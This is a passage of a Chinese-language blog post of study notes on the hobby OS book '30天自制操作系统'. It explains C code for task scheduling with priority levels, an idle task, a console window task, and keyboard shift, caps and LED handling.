href="#任务管理自动化harib13a" class="headerlink" title="任务管理自动化harib13a"></a>任务管理自动化harib13a</h3><p>day15实现的多任务,每增加一个任务都需要改写一下代码,尝试将其自动化</p><pre><code class="c">#define MAX_TASKS 1000 /*最大任务数量*/#define TASK_GDT0 3 /*定义从GDT的几号开始分配给TSS */struct TSS32 { int backlink, esp0, ss0, esp1, ss1, esp2, ss2, cr3; int eip, eflags, eax, ecx, edx, ebx, esp, ebp, esi, edi; int es, cs, ss, ds, fs, gs; int ldtr, iomap;};struct TASK { int sel, flags; /* sel用来存放GDT的编号*/ struct TSS32 tss;};struct TASKCTL { int running; /*正在运行的任务数量*/ int now; /*这个变量用来记录当前正在运行的是哪个任务*/ struct TASK *tasks[MAX_TASKS]; struct TASK tasks0[MAX_TASKS];};</code></pre><blockquote><p>task初始化</p></blockquote><pre><code class="c">struct TASKCTL *taskctl;struct TIMER *task_timer;struct TASK *task_init(struct MEMMAN *memman){ int i; struct TASK *task; struct SEGMENT_DESCRIPTOR *gdt = (struct SEGMENT_DESCRIPTOR *) ADR_GDT; taskctl = (struct TASKCTL *) memman_alloc_4k(memman, sizeof (struct TASKCTL)); for (i = 0; i < MAX_TASKS; i++) { taskctl->tasks0[i].flags = 0; taskctl->tasks0[i].sel = (TASK_GDT0 + i) * 8; set_segmdesc(gdt + TASK_GDT0 + i, 103, (int) &taskctl->tasks0[i].tss, AR_TSS32); } task = task_alloc(); task->flags = 2; /*标志正在运行*/ taskctl->running = 1; taskctl->now = 0; taskctl->tasks[0] = task; load_tr(task->sel); task_timer = timer_alloc(); timer_settime(task_timer, 2); return task;}</code></pre><ol><li>分配内存</li><li>初始化taskctl中所有的TSS</li><li>将当前运行的作为第一个任务</li><li>创建一个0.02秒的定时器</li></ol><pre><code class="c">struct TASK *task_alloc(void){ int i; struct TASK *task; for (i = 0; i < MAX_TASKS; i++) { if (taskctl->tasks0[i].flags == 0) { task = &taskctl->tasks0[i]; task->flags = 1; /* 标志已经被使用 */ task->tss.eflags = 0x00000202; /* IF = 1; 开启中断*/ task->tss.eax = 0; /* 先设置为0*/ task->tss.ecx = 0; task->tss.edx = 0; task->tss.ebx = 0; task->tss.ebp = 0; task->tss.esi = 0; task->tss.edi = 0; task->tss.es = 0; task->tss.ds = 0; task->tss.fs = 0; task->tss.gs = 0; task->tss.ldtr = 0; task->tss.iomap = 0x40000000; return task; } } return 0; /* 全部TSS都在使用 */}void task_run(struct TASK *task)//将task加入到tasks末尾,使running加1{ task->flags = 2; /* 活动中的标志 */ taskctl->tasks[taskctl->running] = task; taskctl->running++; return;}void task_switch(void){ timer_settime(task_timer, 2); if (taskctl->running >= 2) { taskctl->now++; if (taskctl->now == taskctl->running) { taskctl->now = 0; } farjmp(0, taskctl->tasks[taskctl->now]->sel); } return;}</code></pre><p>task_switch : 若running为1 表示只有一个当前主任务,不需要进行任务切换,函数直接结束即可。</p><p>大于2时,now +1 ,标识进入下一个任务</p><p>将timer.c中原本调用mt_taskswitch也相应地修改为调用task_switch </p><blockquote><p>新建一个任务进行测试</p></blockquote><pre><code class="c">void HariMain(void){ (中略) struct TASK *task_b; (中略) task_init(memman); task_b = task_alloc(); task_b->tss.esp = memman_alloc_4k(memman, 64 * 1024) + 64 * 1024 - 8; task_b->tss.eip = (int) &task_b_main; task_b->tss.es = 1 * 8; task_b->tss.cs = 2 * 8; task_b->tss.ss = 1 * 8; task_b->tss.ds = 1 * 8; task_b->tss.fs = 1 * 8; task_b->tss.gs = 1 * 8; *((int *) (task_b->tss.esp + 4)) = (int) sht_back; task_run(task_b); (中略)}</code></pre><h3 id="任务休眠-harib13b"><a href="#任务休眠-harib13b" class="headerlink" title="任务休眠 harib13b"></a>任务休眠 harib13b</h3><p>harib13a所实现的多任务是为每个任务分配相同的运行时间,在某个任务空闲时间比较多的时候回造成资源的浪费。</p><p>在没有键盘输入、没有鼠标操作的时候 任务A明显空闲时间比较多。</p><p>解决思路:</p><ol><li>在FIFO结构体中定义一个task变量来绑定当前任务</li><li>若A处于空闲状态,则将A从taskctl->tasks[]中删去</li><li>处理中断时,若向A的FIFO写入数据则表示任务A需要去处理中断了,调用task_run将其重新运行即可。</li></ol><blockquote><p>首先创建task_sleep</p></blockquote><pre><code class="c">void task_sleep(struct TASK *task){ int i; char ts = 0; if (task->flags == 2) { /* 如果指定任务处于唤醒状态 */ if (task == taskctl->tasks[taskctl->now]) { ts = 1; /* 让自己休眠的话,稍后需要进行任务的切换 */ } for (i = 0; i < taskctl->running; i++) { if (taskctl->tasks[i] == task) { /* 找到那个要休眠的任务,其下标为i */ break; } } taskctl->running--; if (i < taskctl->now) { taskctl->now--; /* 如果i在now之前,那么移动成员后,当前now需要-1 */ } /* 移动成员 */ for (; i < taskctl->running; i++) { taskctl->tasks[i] = taskctl->tasks[i + 1]; } task->flags = 1; /* 设置为不工作的状态 */ if (ts != 0) { /* 进行任务切换 */ if (taskctl->now >= taskctl->running) { /* 如果now的值出现异常,需要进行修正 */ taskctl->now = 0; } farjmp(0, taskctl->tasks[taskctl->now]->sel); } } return;}</code></pre><blockquote><p>当FIFO中写入数据的时候需要将绑定的任务进行唤醒</p></blockquote><pre><code class="c">struct FIFO32 { int *buf; int p, q, size, free, flags; struct TASK *task;};</code></pre><p>初始化时,将当前任务作为参数进行传递,</p><pre><code class="c">void fifo32_init(struct FIFO32 *fifo, int size, int *buf, struct TASK *task)/* FIFO缓冲区初始化*/{fifo->size = size;fifo->buf = buf;fifo->free = size; /*剩余空间*/fifo->flags = 0;fifo->p = 0; /*写入位置*/fifo->q = 0; /*读取位置*/fifo->task = task; /*有数据写入时需要唤醒的任务*/ /*这里! */return;}</code></pre><p>写入数据时,对任务状态进行检测</p><pre><code class="c">int fifo32_put(struct FIFO32 *fifo, int data)/*向FIFO写入数据并累积起来*/{ if (fifo->free == 0) { /*没有剩余空间则溢出*/ fifo->flags |= FLAGS_OVERRUN; return -1; } fifo->buf[fifo->p] = data; fifo->p++; if (fifo->p == fifo->size) { fifo->p = 0; } fifo->free--; if (fifo->task != 0) { /*从这里开始*/ if (fifo->task->flags != 2) { /*如果任务处于休眠状态*/ task_run(fifo->task); /*将任务唤醒*/ } } /*到这里结束*/ return 0;}</code></pre><blockquote><p>改写主函数</p></blockquote><pre><code class="c">void HariMain(void){ struct TASK *task_a, *task_b; ( 中略) fifo32_init(&fifo, 128, fifobuf, 0); ( 中略) task_a = task_init(memman); fifo.task = task_a; ( 中略) for (;;) { io_cli(); if (fifo32_status(&fifo) == 0) { task_sleep(task_a); io_sti(); } else { ( 中略) } }} void task_b_main(struct SHEET *sht_back){ ( 中略) fifo32_init(&fifo, 128, fifobuf, 0); ( 中略)}</code></pre><p>最开始的fifo32_init中指定任务的参数, 我们用0代替了。 因为我们在任务A中应用了休眠, 也就需要使用让FIFO来唤醒的功能, 不过在这个时间点上多任务的初始化还没有完成, 因此无法指定任务, 只能先在这里用0代替, 也就是禁用自动唤醒功能。 </p><p>随后, 在task_init中会返回自己的构造地址, 我们将这个地址存入fifo.task。 </p><p>task_b_main不需要让FIFO唤醒, 因此任务参数指定为0。 </p><p>在此情况下,只有当键盘/鼠标输入数据的时候,才会唤醒taskA进行处理</p><p>其他情况会将绝大部分资源都分配给B进行任务处理。</p><h3 id="增加窗口的数量"><a href="#增加窗口的数量" class="headerlink" title="增加窗口的数量"></a>增加窗口的数量</h3><ol><li>分配三个图层,在图层中创建一个窗口</li><li>创建三个task,都指向task_b_main</li><li>向taskb的栈内传递图层地址</li><li>调整窗口位置、优先级</li></ol><h3 id="设定任务的优先级-harib13d"><a href="#设定任务的优先级-harib13d" class="headerlink" title="设定任务的优先级(harib13d)"></a>设定任务的优先级(harib13d)</h3><blockquote><p>资源分配优先</p></blockquote><p> 即使引入了休眠机制,同时运行的多任务都分配相同的时间,需要高CPU资源的任务会运行缓慢。</p><p>在此之前的任务切换间隔都固定在0.02秒,我们可以为每一个任务在0.01~0.1秒的范围内设定不同的任务切换间隔。</p><blockquote><p>task中新增priority成员</p></blockquote><pre><code class="c">struct TASK { int sel, flags; /* sel代表GDT编号 */ int priority; /*这里! */ struct TSS32 tss;};</code></pre><blockquote><p>改写mtask.c ,初始任务运行时间都为0.02秒</p></blockquote><pre><code class="c">struct TASK *task_init(struct MEMMAN *memman){ (中略) task = task_alloc(); task->flags = 2; /*活动中标志*/ task->priority = 2; /* 0.02秒 */ taskctl->running = 1; taskctl->now = 0; taskctl->tasks[0] = task; load_tr(task->sel); task_timer = timer_alloc(); timer_settime(task_timer, task->priority); return task;}</code></pre><blockquote><p>在上一个任务结束后,调用task_switch时,将下一个任务的priority作为定时器延时</p></blockquote><pre><code class="c">void task_switch(void){ struct TASK *task; taskctl->now++; if (taskctl->now == taskctl->running) { taskctl->now = 0; } task = taskctl->tasks[taskctl->now]; timer_settime(task_timer, task->priority); if (taskctl->running >= 2) { farjmp(0, task->sel); } return;}</code></pre><p>注: 当只有一个任务是,执行farjmp跳转当前任务会导致程序运行乱套,因此在执行farjmp前要判断当前任务不少于2个</p><blockquote><p>最后,在task run 中设置优先级</p></blockquote><pre><code class="c">void task_run(struct TASK *task, int priority){ if (priority > 0) { task->priority = priority; } if (task->flags != 2) { task->flags = 2; /* ���쒆�}�[�N */ taskctl->tasks[taskctl->running] = task; taskctl->running++; } return;}</code></pre><p><img src="/2022/03/27/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/30%E5%A4%A9%E8%87%AA%E5%88%B6%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%20day11~day20/image-20220408110845209-16493873316761-16493873338073.png" alt="image-20220408110845209"></p><h2 id="20220408"><a href="#20220408" class="headerlink" title="20220408"></a>20220408</h2><h3 id="设定任务优先级2(harib13e)"><a href="#设定任务优先级2(harib13e)" class="headerlink" title="设定任务优先级2(harib13e)"></a>设定任务优先级2(harib13e)</h3><p> 在实际运行过程中 ,鼠标已经出现明显的卡顿了,这是因为其他任务的运行造成A运行速度变慢,从而导致了上述情形。</p><p> </p><p> 我们需要设计一种架构,使得即便高优先级的任务同时运行也能区分哪一个更加优先。</p><p><img src="/2022/03/27/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/30%E5%A4%A9%E8%87%AA%E5%88%B6%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%20day11~day20/image-20220408112707405-16493884290415.png" alt="image-20220408112707405"></p><p>这种架构的工作原理是, 最上层的LEVEL 0中只要存在哪怕一个任务,则完全忽略LEVEL 1和LEVEL 2中的任务, 只在LEVEL 0的任务中进行任务切换。 当LEVEL 0中的任务全部休眠, 或者全部降到下层LEVEL,也就是当LEVEL 0中没有任何任务的时候, 接下来开始轮到LEVEL 1中的任务进行任务切换。 当LEVEL 0和LEVEL 1中都没有任务时, 那就该轮到LEVEL 2出场了 。</p><blockquote><p>对于每个LEVEL设置最多允许创建100个任务,总共10个LEVEL</p></blockquote><pre><code class="c">#define MAX_TASKS_LV 100#define MAX_TASKLEVELS 10struct TASK { int sel, flags; /* se1用来存放GDT的编号*/ int level, priority; struct TSS32 tss;};struct TASKLEVEL { int running; /*正在运行的任务数量*/ int now; /*这个变量用来记录当前正在运行的是哪个任务*/ struct TASK *tasks[MAX_TASKS_LV];};struct TASKCTL { int now_lv; /*现在活动中的LEVEL */ char lv_change; /*在下次任务切换时是否需要改变LEVEL */ struct TASKLEVEL level[MAX_TASKLEVELS]; struct TASK tasks0[MAX_TASKS];};</code></pre><p>TASKLEVEL 存储当前LEVEL的任务</p><blockquote><p>task_now函数,用来返回现在活动中的任务的内存地址</p></blockquote><pre><code class="c">struct TASK *task_now(void){ struct TASKLEVEL *tl = &taskctl->level[taskctl->now_lv]; return tl->tasks[tl->now];}</code></pre><blockquote><p>task_add函数,用来向struct TASKLEVEL中添加一个任务</p></blockquote><pre><code class="c">void task_add(struct TASK *task){ struct TASKLEVEL *tl = &taskctl->level[task->level]; tl->tasks[tl->running] = task; tl->running++; task->flags = 2; /*活动中*/ return;}</code></pre><p>在task中有自己的level变量用来标识应该存放在哪个TASKLEVEL中</p><blockquote><p>task_remove函数, 用来从struct TASKLEVEL中删除一个任务。 </p></blockquote><pre><code class="c">void task_remove(struct TASK *task){ int i; struct TASKLEVEL *tl = &taskctl->level[task->level]; /* 寻找task所在位置 */ for (i = 0; i < tl->running; i++) { if (tl->tasks[i] == task) { /*记录下该任务的下标 */ break; } } tl->running--; if (i < tl->now) { tl->now--; /* 需要移动成员 */ } if (tl->now >= tl->running) { /*如果now的值出现异常, 则进行修正*/ tl->now = 0; } task->flags = 1; /* 休眠 */ /* 移动 */ for (; i < tl->running; i++) { tl->tasks[i] = tl->tasks[i + 1]; } return;}</code></pre><blockquote><p>task_switchsub函数, 用来在任务切换时决定接下来切换到哪个LEVEL。 </p></blockquote><pre><code class="c">void task_switchsub(void){ int i; /*寻找最上层的LEVEL */ for (i = 0; i < MAX_TASKLEVELS; i++) { if (taskctl->level[i].running > 0) { break; /*找到了*/ } } taskctl->now_lv = i; taskctl->lv_change = 0; return;}</code></pre><p>切换LEVEL后将lv_change计为0,除非 调用task_run引入了新的任务或调用task_sleep结束了任务,此时才需要进行重新LEVEL切换。</p><blockquote><p>task_init 最开始的任务将其放置在LEVEL 0 中</p></blockquote><pre><code class="c">struct TASK *task_init(struct MEMMAN *memman){ (中略) for (i = 0; i < MAX_TASKLEVELS; i++) { taskctl->level[i].running = 0; taskctl->level[i].now = 0; } task = task_alloc(); task->flags = 2; /*活动中标志*/ task->priority = 2; /* 0.02秒*/ task->level = 0; /*最高LEVEL */ task_add(task); task_switchsub(); /* LEVEL 设置*/ load_tr(task->sel); task_timer = timer_alloc(); timer_settime(task_timer, task->priority); return task;}</code></pre><blockquote><p>task_run 让其可以在参数中指定LEVEL</p></blockquote><pre><code class="c">void task_run(struct TASK *task, int level, int priority){ if (level < 0) { level = task->level; /*不改变LEVEL */ } if (priority > 0) { task->priority = priority; } if (task->flags == 2 && task->level != level) { /*改变活动中的LEVEL */ task_remove(task); /*这里执行之后flag的值会变为1, 于是下面的if语句块也会被执行*/ } if (task->flags != 2) { /*从休眠状态唤醒的情形*/ task->level = level; task_add(task); } taskctl->lv_change = 1; /*下次任务切换时检查LEVEL */ return;}</code></pre><p>在此之前, task_run中下一个要切换到的任务是固定不变的, 不过现在情况就不同了。 例如, 如果用task_run启动了一个比现在活动中的任务LEVEL更高的任务, 那么在下次任务切换时, 就必须无条件地切换到该LEVEL中的该任务去 。</p><p>此外, 如果当前活动中的任务LEVEL被下调, 那么此时就必须将其他LEVEL的任务放在优先的位置(同样以上图来说的话, 比如当LEVEL 0的任务被降级到LEVEL 2时, 任务切换的目标就需要从LEVEL 0变为LEVEL 1) </p><p>综上所述, 我们需要在下次任务切换时先检查LEVEL, 因此将<br>lv_change置为1 </p><blockquote><p>tasksleep</p></blockquote><pre><code class="c">void task_sleep(struct TASK *task){ struct TASK *now_task; if (task->flags == 2) { /*如果处于活动状态*/ now_task = task_now(); task_remove(task); /*执行此语句的话flags将变为1 */ if (task == now_task) { /*如果是让自己休眠, 则需要进行任务切换*/ task_switchsub(); now_task = task_now(); /*在设定后获取当前任务的值*/ farjmp(0, now_task->sel); } } return;}</code></pre><blockquote><p>task_switch 除了当lv_change不为0时的处理意外,其余几乎没有变化</p></blockquote><pre><code class="C">void task_switch(void){ struct TASKLEVEL *tl = &taskctl->level[taskctl->now_lv]; struct TASK *new_task, *now_task = tl->tasks[tl->now]; tl->now++; if (tl->now == tl->running) { tl->now = 0; } if (taskctl->lv_change != 0) {//不为0时,需要进行任务等级的切换。 task_switchsub(); tl = &taskctl->level[taskctl->now_lv]; } new_task = tl->tasks[tl->now]; timer_settime(task_timer, new_task->priority); if (new_task != now_task) { farjmp(0, new_task->sel); } return;}</code></pre><pre><code class="c">void HariMain(void){ (中略) init_palette(); shtctl = shtctl_init(memman, binfo->vram, binfo->scrnx, binfo->scrny); task_a = task_init(memman); fifo.task = task_a; task_run(task_a, 1, 0); /*这里! */ (中略) /* sht_win_b */ for (i = 0; i < 3; i++) { (中略) task_run(task_b[i], 2, i + 1); /*这里! */} ( 中略)}</code></pre><p>day17 命令窗口</p><h3 id="闲置任务-harib14a"><a href="#闲置任务-harib14a" class="headerlink" title="闲置任务 harib14a"></a>闲置任务 harib14a</h3><p>在前文中任务A下面的LEVEL有任务B0~B2,但若只有任务A且不进行任何操作的时候,A会进入休眠状态,程序会因为找不到其他任务而导致运行的异常。</p><blockquote><p>如果“所有LEVEL中都没有任务”就会出问题, 那我们只要避免这种情况发生不就可以了吗 </p></blockquote><p>我们可以创建一个哨兵任务,将其放置在最下层的LEVEL中,该任务只进行hlt()</p><pre><code class="c">void task_idle(void){ for (;;) { io_hlt(); }}</code></pre><blockquote><p>在初始化的时候,将这个闲置任务放在最下层LEVEL中就可以了</p></blockquote><pre><code class="c">struct TASK *task_init(struct MEMMAN *memman){ struct TASK *task, *idle; (中略) idle = task_alloc(); idle->tss.esp = memman_alloc_4k(memman, 64 * 1024) + 64 * 1024; idle->tss.eip = (int) &task_idle; idle->tss.es = 1 * 8; idle->tss.cs = 2 * 8; idle->tss.ss = 1 * 8; idle->tss.ds = 1 * 8; idle->tss.fs = 1 * 8; idle->tss.gs = 1 * 8; task_run(idle, MAX_TASKLEVELS - 1, 1); return task;}</code></pre><h3 id="创建命令行窗口-harib14b"><a href="#创建命令行窗口-harib14b" class="headerlink" title="创建命令行窗口(harib14b)"></a>创建命令行窗口(harib14b)</h3><ol><li>创建一个图层</li><li>创建一个任务,初始化、绑定函数</li><li>将图层作为参数传递给该任务·</li></ol><pre><code class="c">void HariMain(void){ (中略) /* sht_cons */ sht_cons = sheet_alloc(shtctl); buf_cons = (unsigned char *) memman_alloc_4k(memman, 256 * 165); sheet_setbuf(sht_cons, buf_cons, 256, 165, -1); /*无透明色*/ make_window8(buf_cons, 256, 165, "console", 0); make_textbox8(sht_cons, 8, 28, 240, 128, COL8_000000); task_cons = task_alloc(); task_cons->tss.esp = memman_alloc_4k(memman, 64 * 1024) + 64 * 1024 - 8; task_cons->tss.eip = (int) &console_task; task_cons->tss.es = 1 * 8; task_cons->tss.cs = 2 * 8; task_cons->tss.ss = 1 * 8; task_cons->tss.ds = 1 * 8; task_cons->tss.fs = 1 * 8; task_cons->tss.gs = 1 * 8; *((int *) (task_cons->tss.esp + 4)) = (int) sht_cons; task_run(task_cons, 2, 2); /* level=2, priority=2 */ (中略)sheet_slide(sht_back, 0, 0); sheet_slide(sht_cons, 32, 4); sheet_slide(sht_win, 64, 56); sheet_slide(sht_mouse, mx, my); sheet_updown(sht_back, 0); sheet_updown(sht_cons, 1); sheet_updown(sht_win, 2); sheet_updown(sht_mouse, 3); ( 中略)} void console_task(struct SHEET *sheet){ struct FIFO32 fifo; struct TIMER *timer; struct TASK *task = task_now(); int i, fifobuf[128], cursor_x = 8, cursor_c = COL8_000000; fifo32_init(&fifo, 128, fifobuf, task); timer = timer_alloc(); timer_init(timer, &fifo, 1); timer_settime(timer, 50); for (;;) { io_cli(); if (fifo32_status(&fifo) == 0) { task_sleep(task); io_sti(); } else { i = fifo32_get(&fifo); io_sti(); if (i <= 1) { /*光标用定时器*/ if (i != 0) { timer_init(timer, &fifo, 0); /*下次置0 */ cursor_c = COL8_FFFFFF; } else { timer_init(timer, &fifo, 1); /*下次置1 */ cursor_c = COL8_000000; } timer_settime(timer, 50); boxfill8(sheet->buf, sheet->bxsize, cursor_c, cursor_x, 28, cursor_x + 7, 43); sheet_refresh(sheet, cursor_x, 28, cursor_x + 8, 44); } } }}</code></pre><h3 id="切换输入窗口-harib14c"><a href="#切换输入窗口-harib14c" class="headerlink" title="切换输入窗口 harib14c"></a>切换输入窗口 harib14c</h3><blockquote><p>首先将make_window中描绘窗口标题栏的代码和描绘窗口剩余部分的代码区分开</p></blockquote><pre><code class="c">void make_window8(unsigned char *buf, int xsize, int ysize, char *title, char act){ boxfill8(buf, xsize, COL8_C6C6C6, 0, 0, xsize - 1, 0 ); boxfill8(buf, xsize, COL8_FFFFFF, 1, 1, xsize - 2, 1 ); boxfill8(buf, xsize, COL8_C6C6C6, 0, 0, 0, ysize - 1); boxfill8(buf, xsize, COL8_FFFFFF, 1, 1, 1, ysize - 2); boxfill8(buf, xsize, COL8_848484, xsize - 2, 1, xsize - 2, ysize - 2); boxfill8(buf, xsize, COL8_000000, xsize - 1, 0, xsize - 1, ysize - 1); boxfill8(buf, xsize, COL8_C6C6C6, 2, 2, xsize - 3, ysize - 3); boxfill8(buf, xsize, COL8_848484, 1, ysize - 2, xsize - 2, ysize - 2); boxfill8(buf, xsize, COL8_000000, 0, ysize - 1, xsize - 1, ysize - 1); make_wtitle8(buf, xsize, title, act); return;}void make_wtitle8(unsigned char *buf, int xsize, char *title, char act){ static char closebtn[14][16] = { "OOOOOOOOOOOOOOO@", "OQQQQQQQQQQQQQ$@", "OQQQQQQQQQQQQQ$@", "OQQQ@@QQQQ@@QQ$@", "OQQQQ@@QQ@@QQQ$@", "OQQQQQ@@@@QQQQ$@", "OQQQQQQ@@QQQQQ$@", "OQQQQQ@@@@QQQQ$@", "OQQQQ@@QQ@@QQQ$@", "OQQQ@@QQQQ@@QQ$@", "OQQQQQQQQQQQQQ$@", "OQQQQQQQQQQQQQ$@", "O$$$$$$$$$$$$$$@", "@@@@@@@@@@@@@@@@" }; int x, y; char c, tc, tbc; if (act != 0) { tc = COL8_FFFFFF; tbc = COL8_000084; } else { tc = COL8_C6C6C6; tbc = COL8_848484; } boxfill8(buf, xsize, tbc, 3, 3, xsize - 4, 20); putfonts8_asc(buf, xsize, 24, 4, tc, title); for (y = 0; y < 14; y++) { for (x = 0; x < 16; x++) { c = closebtn[y][x]; if (c == '@') { c = COL8_000000; } else if (c == '$') { c = COL8_848484; } else if (c == 'Q') { c = COL8_C6C6C6; } else { c = COL8_FFFFFF; } buf[(5 + y) * xsize + (xsize - 21 + x)] = c; } } return;}</code></pre><blockquote><p>在主函数中,定义一个变量key_to, 若键盘输入为tab键,首先将key_to 设置为0或1,</p><p>然后将两个窗口的颜色进行刷新</p></blockquote><h3 id="实现字符输入-harib14d"><a href="#实现字符输入-harib14d" class="headerlink" title="实现字符输入 harib14d"></a>实现字符输入 harib14d</h3><p>要想向不同的任务输入字符、我们必须知道其FIFO的位置,上文中将FIFO定义在任务B指向的函数中,这样显然是不行的,我们需要将FIFO定义在TASK中,这样,主函数(任务A)就能从TASK中获取到目标的FIFO,并向其中写入数据,当切换到目标任务时,只要处理FIFO中的数据即可。</p><pre><code class="c">struct TASK { int sel, flags; /* sel代表GDT编号 */ int level, priority; struct FIFO32 fifo; /*这里! */ struct TSS32 tss;};</code></pre><p>主函数主要修改如下</p><pre><code class="c"> if (key_to == 0) { //等于0 代表输出到A if (cursor_x < 128) { s[0] = keytable[i - 256]; s[1] = 0; putfonts8_asc_sht(sht_win, cursor_x, 28, COL8_000000, COL8_FFFFFF, s, 1); cursor_x += 8; } } else { /*否则输出到B命令窗口 */ fifo32_put(&task_cons->fifo, keytable[i - 256] + 256); } } if (i == 256 + 0x0e) { /* 退格键 */ if (key_to == 0) { /* 发送给任务A */ if (cursor_x > 8) { /*用空白擦除光标后将光标前移一位*/ putfonts8_asc_sht(sht_win, cursor_x, 28, COL8_000000, COL8_FFFFFF, " ", 1); cursor_x -= 8; } } else { /* 发送给命令窗口 */ fifo32_put(&task_cons->fifo, 8 + 256); }</code></pre><blockquote><p>任务B也需要进行修改</p></blockquote><pre><code class="C"> if (256 <= i && i <= 511) { /* 通过任务A */ if (i == 8 + 256) { /* 退格键 */ if (cursor_x > 16) { /* 用空白擦除光标后将光标前移一位 */ putfonts8_asc_sht(sheet, cursor_x, 28, COL8_FFFFFF, COL8_000000, " ", 1); cursor_x -= 8; } } else { /* 一般字符*/ if (cursor_x < 240) { /* 显示一个字符之后将光标后移一位*/ s[0] = i - 256; s[1] = 0; putfonts8_asc_sht(sheet, cursor_x, 28, COL8_FFFFFF, COL8_000000, s, 1); cursor_x += 8; } } }</code></pre><h3 id="符号输入-harib14e-大写字母与小写字母(harib14f)"><a href="#符号输入-harib14e-大写字母与小写字母(harib14f)" class="headerlink" title="符号输入 harib14e 大写字母与小写字母(harib14f)"></a>符号输入 harib14e 大写字母与小写字母(harib14f)</h3><blockquote><p>符号</p></blockquote><p>左Shift按下 0x2a</p><p>左shift抬起 0xaa</p><p>右Shift按下 0x36</p><p>右Shift抬起 0xb6</p><p>我们准备一个key_shift变量, 当左Shift按下时置为1, 右Shift按下时置为2, 两个都不按时置为0, 两个都按下(有人会这么干吗? ) 的时候就置为3。 </p><p>当key_shift为0时, 我们用keytable0[]将按键编码转换为字符编码, 而当key_shift不为0时, 则使用keytable1[]进行转换。 </p><pre><code class="c">if (key_shift == 0) { s[0] = keytable0[i - 256];} else { s[0] = keytable1[i - 256];}</code></pre><pre><code class="c">if (i == 256 + 0x2a) { /*左Shift ON */ key_shift |= 1; //01}if (i == 256 + 0x36) { /*右Shift ON */ key_shift |= 2;//10}if (i == 256 + 0xaa) { /*左Shift OFF */ key_shift &= ~1;}if (i == 256 + 0xb6) { /*右Shift OFF */ key_shift &= ~2;}</code></pre><blockquote><p>大小写</p></blockquote><p>CapsLock为OFF & Shift键为OFF → 小写英文字母<br>CapsLock为OFF & Shift键为ON → 大写英文字母<br>CapsLock为ON & Shift键为OFF → 大写英文字母<br>CapsLock为ON & Shift键为ON → 小写英文字母 </p><p>我们已经知道如何获取Shift键的状态, 但是CapsLock的状态要如何获取呢? BIOS知道CapsLock的状态, 可现在我们处于32位模式, 没办法向BIOS查询。 </p><p>在asmhead.nas中, 我们已经从BIOS获取到了键盘状态, 就保存在binfo—>leds中 </p><p>binfo->leds的第4位→ ScrollLock状态<br>binfo->leds的第5位 → NumLock状态<br>binfo->leds的第6位 → CapsLock状态 </p><p>int key_to = 0, key_shift = 0, key_leds = (binfo->leds >> 4) & 7; /*这里! * </p><pre><code class="c">if ('A' <= s[0] && s[0] <= 'Z') { /*当输入字符为英文字母时*/ if (((key_leds & 4) == 0 && key_shift == 0) ||((key_leds & 4) != 0 && key_shift != 0)) { s[0] += 0x20; /*将大写字母转换为小写字母*/ }/*到此结束*/ }</code></pre><h2 id="20220409"><a href="#20220409" class="headerlink" title="20220409"></a>20220409</h2><h3 id="对各种锁定键的支持harib14g"><a href="#对各种锁定键的支持harib14g" class="headerlink" title="对各种锁定键的支持harib14g"></a>对各种锁定键的支持harib14g</h3><p>三个按键对应的编码</p><p>0x3a: CapsLock<br>0x45: NumLock<br>0x46: ScrollLock </p><p>我们只要收到该编码就将bifo->leds 对应位置修改即可。 但如何让键盘上的指示灯进行相应的状态切换呢?</p><blockquote><p> 对于NumLock和CapsLock等LED的控制, 可采用下面的方法向键盘发送指令和数据 </p></blockquote><ol><li>读取状态寄存器, 等待bit 1的值变为0。</li><li>向数据输出(0060) 写入要发送的1个字节数据。等待键盘返回1个字节的信息, 这和等待键盘输入所采用的方法相同(用IRQ等待或者用轮询状态寄存器bit 1的值直到其变为0都可以) 。</li><li>返回的信息如果为0xfa, 表明1个字节的数据已成功发送给键盘。 如为0xfe则表明发送失败, 需要返回第1步重新发送。 </li></ol><p>要控制LED的状态, 需要按上述方法执行两次, 向键盘发送EDxx数据。 其中, xx的bit 0代表ScrollLock, bit 1代表NumLock, bit 2代表CapsLock(0表示熄灭, 1表示点亮) 。 bit 3~7为保留位, 置0即可。 </p><blockquote><p>代码实现思路</p></blockquote><ol><li><p>创建一个keycmd的FIFO缓冲区, 用来管理由任务A向键盘控制器发送数据的顺讯的,如果有数据要发送到键盘控制器会先在这个缓冲区中累计下来。<br>因为要等待键盘控制器的回应,因此定义一个keycmd_wait,当键盘响应成功时将其设置为-1</p></li><li><p>当输入指定按键时,将其存放在keycmd中</p><pre><code class="c"> if (i == 256 + 0x3a) { /* CapsLock */ key_leds ^= 4; fifo32_put(&keycmd, KEYCMD_LED); fifo32_put(&keycmd, key_leds); } if (i == 256 + 0x45) { /* NumLock */ key_leds ^= 2; fifo32_put(&keycmd, KEYCMD_LED); fifo32_put(&keycmd, key_leds); } if (i == 256 + 0x46) { /* ScrollLock */ key_leds ^= 1; fifo32_put(&keycmd, KEYCMD_LED); fifo32_put(&keycmd, key_leds); }</code></pre></li><li><p>若keycmd中有数据,且keycmd_wait为-1 ,将缓冲区的值存入keycmd_wait中并将其写入0x0060端口 </p><pre><code class="c"> if (fifo32_status(&keycmd) > 0 && keycmd_wait < 0) { keycmd_wait = fifo32_get(&keycmd); wait_KBC_sendready(); io_out8(PORT_KEYDAT, keycmd_wait); }</code></pre></li><li><p>键盘响应成功时,将key_wait设置为-1 进行下一次数据写入,不成功时重新发送keycmd_wait</p><pre><code class="c"> if (i == 256 + 0xfa) { keycmd_wait = -1; } if (i == 256 + 0xfe) { wait_KBC_sendready(); io_out8(PORT_KEYDAT, keycmd_wait); }</code></pre></li></ol><p>day18 dir命令</p><h3 id="控制光标闪烁"><a href="#控制光标闪烁" class="headerlink" title="控制光标闪烁"></a>控制光标闪烁</h3><p>只有可以接受键盘输入的窗口才有光标闪烁</p><blockquote><p>对于任务A ,定义一个变量cursor_c 在按下TAB键时,若切换至其他窗口,则将其设置为-1</p></blockquote><pre><code class="c">if (key_to == 0) { key_to = 1; make_wtitle8(buf_win, sht_win->bxsize, "task_a", 0); make_wtitle8(buf_cons, sht_cons->bxsize, "console", 1); cursor_c = -1; boxfill8(sht_win->buf, sht_win->bxsize, COL8_FFFFFF, cursor_x, 28, cursor_x + 7, 43);} else { key_to = 0; 